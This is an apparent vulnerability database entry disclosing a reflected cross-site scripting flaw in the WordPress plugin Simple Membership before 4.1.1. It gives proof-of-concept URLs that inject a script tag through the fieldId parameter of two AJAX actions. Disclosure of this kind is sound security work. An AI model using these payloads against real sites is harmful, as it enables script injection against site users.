WordPress Plugin Vulnerabilities

Simple Membership < 4.1.1 - Reflected Cross-Site Scripting

Description

The plugin does not properly sanitise and escape parameters before outputting them back in AJAX actions, leading to Reflected Cross-Site Scripting

Proof of Concept

https://example.com/wp-admin/admin-ajax.php?action=swpm_validate_email&fieldId=%22%3Cscript%3Ealert(%22XSS%22);%3C/script%3E

https://example.com/wp-admin/admin-ajax.php?action=swpm_validate_user_name&fieldId=%22%3Cscript%3Ealert(%22XSS%22);%3C/script%3E

Affects Plugins

Fixed in 4.1.1

References

Classification

Type
XSS
CWE

Miscellaneous

Original Researcher
cydave
Submitter
cydave
Submitter website
Submitter twitter
Verified
Yes

Timeline

Publicly Published
2022-05-23 (about 1 years ago)
Added
2022-05-23 (about 1 years ago)
Last Updated
2023-02-18 (about 1 years ago)

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